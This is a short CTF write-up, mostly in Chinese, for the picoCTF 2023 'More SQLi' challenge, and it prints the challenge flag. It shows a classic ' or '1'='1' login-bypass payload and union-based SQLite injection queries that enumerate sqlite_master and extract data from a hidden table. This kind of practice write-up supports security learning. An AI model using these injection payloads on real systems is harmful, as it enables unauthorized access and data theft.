PicoCTF - More SQLi

PicoCTF - More SQLi

Background

Recon

先隨便輸入發現他很貼心有給完整的payload,發現他是先檢查password,在沒有任何防護的情況下,直接用最經典的payload就可了 Account: Any Password: ' or '1'='1' -- #


Exploit - SQLi(Union Selection)

現在的目標是flag應該是藏在別的table,所以先找甚麼table

  1. 找table 透過Kaibro的cheat sheet,SQLite的爆破payload是SELECT name FROM sqlite_master WHERE type='table',而目前我們可以用union based的方式搜尋,先觀察搜尋Algiers的搜尋column有三個,第一個column是chr,第二個column是chr,第三個是int,所以在用union select的時候要遵守**查詢數量一樣、每個欄位的型態一樣** Payload: Algiers' union SELECT sql,sql,1 FROM sqlite_master WHERE type='table'; -- :::spoiler Screenshot :::
  2. Find Flag - Union based 目前發現有兩個table比較可疑
    • CREATE TABLE hints (id INTEGER NOT NULL PRIMARY KEY, info TEXT)
    • CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)

    可以直接用前面同樣的方式找flag,觀察這個table只有兩個column,且一個column的type是int,另外一個是text,而第三個column就隨便填 Payload: Algiers' union SELECT id,flag,1 FROM more_table; -- :::spoiler Screenshot ::: Flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_98236ce6}

Reference

picoCTF 2023 More SQLi Kaibro - SQLi Feifei Lab